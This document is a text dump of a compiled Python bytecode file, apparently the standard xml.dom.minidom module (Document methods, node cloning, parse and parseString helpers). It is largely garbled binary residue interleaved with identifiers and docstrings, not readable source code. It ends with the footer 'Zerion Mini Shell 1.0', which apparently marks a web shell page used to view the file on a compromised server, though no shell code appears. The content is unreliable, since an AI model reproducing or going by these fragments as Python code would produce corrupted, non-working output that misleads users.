zDocument.__init__cCs&|jr|j|jf}n|j}|j|Sr%)rrrrr)rr.rkr
r
r
rszDocument._get_elem_infocCs|jSr%rrr
r
r
rszDocument._get_actualEncodingcCs|jSr%)rrr
r
r
_get_doctypeszDocument._get_doctypecCs|jSr%)documentURIrr
r
r
_get_documentURI!szDocument._get_documentURIcCs|jSr%rrr
r
r
r$szDocument._get_encodingcCs|jSr%)errorHandlerrr
r
r
_get_errorHandler'szDocument._get_errorHandlercCs|jSr%)
standalonerr
r
r
_get_standalone*szDocument._get_standalonecCs|jSr%)strictErrorCheckingrr
r
r
_get_strictErrorChecking-sz!Document._get_strictErrorCheckingcCs|jSr%rrr
r
r
r0szDocument._get_versioncCsj|j|jkr(tjdt|t|f|jdk	r>|j||jtj	kr^|
r^tjdt||S)Nr0z two document elements disallowed)rr5r6r7r8r9r:r;r	rS_get_documentElementr<rr
r
r
r<3s
zDocument.appendChildcCsVz|j|Wntk
r.tjYnXd|_|_d|_|j	|krRd|_	|Sr%)
r'rMr>r6r7r?rCrDr:documentElementrNr
r
r
r;Cs
zDocument.removeChildcCs$|jD]}|jtjkr|SqdSr%)r'rr	rSrr
r
r
rOs
zDocument._get_documentElementcCs(|jdk	r|jd|_t|dSr%)rrQr	rr
r
r
rQTs

zDocument.unlinkcCs|sdS|jddd}|j|_|j|_|j|_|jD]n}t|||}|j|sVt	|j
||jtj
kr~|jdkst	n |jtjkr|jdkst	||_||_q6|tjjj|||Sr%)r[rrrr_r'rWrXrdAssertionErrorrRrr	rrrrr:rxr6r7rurv)rrYr{rZ
childcloner
r
r
rZZs*
zDocument.cloneNodecCst}||_|Sr%)rrX)rror
r
r
createDocumentFragmentoszDocument.createDocumentFragmentcCst|}||_|Sr%)r	rX)rrr}r
r
r

createElementtszDocument.createElementcCs(t|tstdt}||_||_|SNznode contents must be a string)rrrrrPrX)rrPtr
r
r
createTextNodeys
zDocument.createTextNodecCs(t|tstdt}||_||_|Sr)rrrr`rPrXrrPrGr
r
r
createCDATASections
zDocument.createCDATASectioncCst|}||_|Sr%)r_rXrr
r
r

createCommentszDocument.createCommentcCst||}||_|Sr%)r4rX)rr6rPpr
r
r
createProcessingInstructions
z$Document.createProcessingInstructioncCst|}||_d|_|Sr)rrXr)rrar
r
r
createAttributeszDocument.createAttributecCs"t|\}}t|||}||_|Sr%)rr	rX)rrrrrr}r
r
r
rszDocument.createElementNScCs*t|\}}t||||}||_d|_|Sr)rrrXr)rrrrrrr
r
r
createAttributeNSs
zDocument.createAttributeNScCst||||}||_|Sr%)rxrX)rrrkrlryr}r
r
r
_create_entityszDocument._create_entitycCst|||}||_|Sr%)rwrX)rrrkrlrr
r
r
_create_notationszDocument._create_notationcCs||jkr|j|S|js$|js$dS|j}|dkrB|jg}||_n|sJdSd}|r|}|dd|jD||}|rB|j	
D]}|jr||j|j
r||j|j<|j|kr|}n|jsqq||jr
||j|j<|j|kr|}n|js>qq|jr||j|j<|j|kr.|}q|jdkrqqn>|jr|j	
D]*}|jrT||j|j<|j|krT|}qT|dk	rNqqN|S)NcSsg|]}|jtkr|qSr
)rr@).0rVr
r
r

<listcomp>s
z+Document.getElementById.<locals>.<listcomp>r1)rrrrrpopextendr'rrrrrrrrrrr)rrstackresultrHrr
r
r
r
getElementByIdsZ






zDocument.getElementByIdcCst||tSr%r!rr
r
r
r"szDocument.getElementsByTagNamecCst|||tSr%r#rr
r
r
r$szDocument.getElementsByTagNameNScCs|j||Sr%)r[r\r]r
r
r
r`szDocument.isSupportedcCs>|jtjkrtjdn|jtjkr2tjdt|||S)Nzcannot import document nodesz!cannot import document type nodes)rr	rr6r7NotSupportedErrrrW)rrHrYr
r
r

importNodes
zDocument.importNodercCsJ|dkr|d|n|d||f|jD]}|||||q0dS)Nz<?xml version="1.0" ?>z%<?xml version="1.0" encoding="%s"?>%s)rr'r)rr$r"r&r#rrHr
r
r
rs
zDocument.writexmlcCsJ|j|k	r tjd||jf|jtjtjfkr>tjd|t	krd|kr|
dd\}}|dkr|tjjkrtjdq|dkr|tjjkr|jtjkrtjdd}|}nd}d}|jtjkr|j
}|dk	r|j}||nd}||_||_||_||_|jtjkr||_n*||_|dk	rF|||rF|||S)Nz?cannot rename nodes from other documents;
expected %s,
found %sz8renameNode() only applies to element and attribute nodesrr1rzillegal use of 'xmlns' prefixz$illegal use of the 'xmlns' attribute)rXr6r7rrr	rSrrrrrrrrrrrrrrrrr()rrrrrrr.Zis_idr
r
r

renameNode	sb






zDocument.renameNode)rrrN)=r~rrrr	rSrrrr5rr[rrrrrr:rDrCrzrrr_rrrrrrrrrrrrrrr<r;rrQrZrrrrrrrrrrrrr"r$r`rrrr
r
r
r
rsj	
:
rrz#Top-level element of this document.c
Cs|j|rtjjj}n
tjjj}|jtj	kr|
|j|j}|j
D]0}||j|j|j||j|j}|j|_qH|r|jD]}t|||}||qn|jtjkr|}|r|jD]}t|||}||qn|jtjkr||j}n|jtjkr||j}n|jtjkr>||j |j}nz|jtj!kr\|"|j}n\|jtj#kr|$|j|j}d|_|j|_n,|jtj%kr|j|k	st&tjjj}|j'(|j)|j*|j+}||_|rg|j,_-g|j._-|j.j-D]F}	t/|	j|	j*|	j+}
||
_|j.j-0|
t1|	dr|	2||	|
q|j,j-D]b}t3|j|j*|j+|j4}|j5|_5|j6|_6|j7|_7||_|j,j-0|t1|dr>|2|||q>ntj8dt9|t1|dr|2||||S)zo
    Clone a node and give it the new owner document.
    Called by Node.cloneNode and Document.importNode
    TrxzCannot clone node %s):rXrdr6r7rurvZ
NODE_IMPORTEDrr	rSrrrrrrrrrrr'rWr<r2rrOrrPrrrrr6rrrrrrr[rrrkrlrqrdrrrwrRrqrxrxryrzrr_rr9)
rHrYZnewOwnerDocumentrur{r
rrVrGrr|r}r~r
r
r
rWBs




rWcCs,|dd}t|dkr|Sd|dfSdS)Nrr1r)rr)rfieldsr
r
r
rsrcCs,|||}|\}}||||Sr%)ZgetEventZ
expandNoder)funcargskwargseventsZtoktypeZrootNoder
r
r
_do_pulldom_parses


rcCsH|dkr"|s"ddlm}||Sddlm}t|j|f||dSdS)z3Parse a file into a DOM by filename or file object.Nrexpatbuilderpulldom)parserbufsize)xml.domrparserr)filerrrrr
r
r
rs

rcCsB|dkrddlm}||Sddlm}t|j|fd|iSdS)z&Parse a file into a DOM from a string.Nrrrr)rrparseStringrr)stringrrrr
r
r
rs

rcCs@|r:t|trt|}|D]\}}tj||sdSqtjSr%)rrrZ_parse_feature_stringrr[r\)Zfeaturesfvr
r
r
getDOMImplementations

r)NN)N)N)7rrrr6rrrrZxml.dom.minicompatZxml.dom.xmlbuilderrrr7r	rSrr@ZdefpropertyrJrrrrrrobjectrZ
AttributeListrrr	rr/r4r>rr[r,r_r`rbrirprxrwrrrArrWrrrrrr
r
r
r
<module>sv
	y$
x)GU	><(	O*PR




Zerion Mini Shell 1.0